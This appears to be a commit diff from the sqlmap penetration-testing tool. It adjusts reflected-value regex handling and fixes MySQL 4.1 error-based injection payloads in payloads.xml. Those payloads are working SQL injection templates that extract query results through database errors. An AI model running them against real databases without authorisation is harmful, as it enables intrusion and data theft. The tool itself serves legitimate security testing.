Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 772ead8

Browse files
stamparmstamparm
committed
fixed support for error-based injection on MySQL 4.1 (help table a needs more than 2 items inside); also, fixed some border issues with reflective values
1 parent c9cac95 commit 772ead8

4 files changed

Lines changed: 36 additions & 20 deletions

File tree

‎lib/core/agent.py‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -208,11 +208,12 @@ def cleanupPayload(self, payload, origValue=None):
208208

209209
randInt = randomInt()
210210
randInt1 = randomInt()
211+
randInt2 = randomInt()
211212
randStr = randomStr()
212213
randStr1 = randomStr()
213214

214215
_ = (
215-
("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDSTR]", randStr),\
216+
("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDNUM2]", str(randInt2)), ("[RANDSTR]", randStr),\
216217
("[RANDSTR1]", randStr1), ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
217218
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
218219
("[HASH_REPLACE]", kb.chars.hash_)

‎lib/core/common.py‎

Lines changed: 19 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -116,6 +116,7 @@
116116
from lib.core.settings import ML
117117
from lib.core.settings import MIN_TIME_RESPONSES
118118
from lib.core.settings import PAYLOAD_DELIMITER
119+
from lib.core.settings import REFLECTED_BORDER_REGEX
119120
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
120121
from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
121122
from lib.core.settings import REFLECTED_VALUE_MARKER
@@ -2625,19 +2626,30 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
26252626
retVal = content
26262627

26272628
if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism:
2628-
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, '')))
2629-
2630-
regex = filterStringValue(payload, r'[A-Za-z0-9]', REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))
2629+
def _(value):
2630+
while 2 * REFLECTED_REPLACEMENT_REGEX in value:
2631+
value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
2632+
return value
26312633

2632-
while 2 * REFLECTED_REPLACEMENT_REGEX in regex:
2633-
regex = regex.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
2634+
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, '')))
2635+
regex = _(filterStringValue(payload, r'[A-Za-z0-9]', REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
26342636

26352637
if all(part.lower() in content.lower() for part in regex.split(REFLECTED_REPLACEMENT_REGEX)): # fast optimization check
26362638
parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
26372639
if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs
2638-
regex = "%s.+?%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))
2640+
regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:])))
2641+
2642+
if regex.lstrip(REFLECTED_REPLACEMENT_REGEX) != regex:
2643+
regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex.lstrip(REFLECTED_REPLACEMENT_REGEX))
2644+
else:
2645+
regex = r"\b%s" % regex
2646+
2647+
if regex.rstrip(REFLECTED_REPLACEMENT_REGEX) != regex:
2648+
regex = r"%s%s" % (regex.rstrip(REFLECTED_REPLACEMENT_REGEX), REFLECTED_BORDER_REGEX)
2649+
else:
2650+
regex = r"%s\b" % regex
26392651

2640-
retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, content)
2652+
retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, content)
26412653

26422654
if retVal != content:
26432655
kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1

‎lib/core/settings.py‎

Lines changed: 11 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -327,22 +327,25 @@
327327
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
328328

329329
# Mark used for replacement of reflected values
330-
REFLECTED_VALUE_MARKER = '__REFLECTED_VALUE__'
330+
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
331+
332+
# Regular expression used for replacing border non-alphanum characters
333+
REFLECTED_BORDER_REGEX = r"[^\s]+"
331334

332335
# Regular expression used for replacing non-alphanum characters
333-
REFLECTED_REPLACEMENT_REGEX = r'.+'
336+
REFLECTED_REPLACEMENT_REGEX = r".+?"
334337

335338
# Maximum number of alpha-numerical parts in reflected regex (for speed purposes)
336339
REFLECTED_MAX_REGEX_PARTS = 10
337340

338341
# Chars which can be used as a failsafe values in case of too long URL encoding value
339-
URLENCODE_FAILSAFE_CHARS = '()|,'
342+
URLENCODE_FAILSAFE_CHARS = "()|,"
340343

341344
# Maximum length of urlencoded value after which failsafe procedure takes away
342345
URLENCODE_CHAR_LIMIT = 2000
343346

344347
# Default schema for Microsoft SQL Server DBMS
345-
DEFAULT_MSSQL_SCHEMA = 'dbo'
348+
DEFAULT_MSSQL_SCHEMA = "dbo"
346349

347350
# Display hash attack info every mod number of items
348351
HASH_MOD_ITEM_DISPLAY = 11
@@ -357,10 +360,10 @@
357360
TURN_OFF_RESUME_INFO_LIMIT = 20
358361

359362
# Strftime format for results file used in multiple target mode
360-
RESULTS_FILE_FORMAT = 'results-%m%d%Y_%I%M%p.csv'
363+
RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv"
361364

362365
# Official web page with the list of Python supported codecs
363-
CODECS_LIST_PAGE = 'http://docs.python.org/library/codecs.html#standard-encodings'
366+
CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encodings"
364367

365368
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
366369
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
@@ -390,13 +393,13 @@
390393
HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>"
391394

392395
# Table used for Base64 conversion in WordPress hash cracking routine
393-
ITOA64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
396+
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
394397

395398
# Chars used to quickly distinguish if the user provided tainted parameter values
396399
DUMMY_SQL_INJECTION_CHARS = ";()'"
397400

398401
# Simple check against dummy users
399-
DUMMY_USER_INJECTION = "(?i)[^\w](AND|OR)\s+[^\s]+[=><]"
402+
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]"
400403

401404
# Extensions skipped by crawler
402405
CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")

‎xml/payloads.xml‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1161,9 +1161,9 @@ Formats:
11611161
<risk>0</risk>
11621162
<clause>1</clause>
11631163
<where>1</where>
1164-
<vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</vector>
1164+
<vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</vector>
11651165
<request>
1166-
<payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</payload>
1166+
<payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</payload>
11671167
</request>
11681168
<response>
11691169
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -1379,9 +1379,9 @@ Formats:
13791379
<risk>2</risk>
13801380
<clause>1</clause>
13811381
<where>2</where>
1382-
<vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</vector>
1382+
<vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</vector>
13831383
<request>
1384-
<payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</payload>
1384+
<payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</payload>
13851385
</request>
13861386
<response>
13871387
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

0 commit comments

Comments
 (0)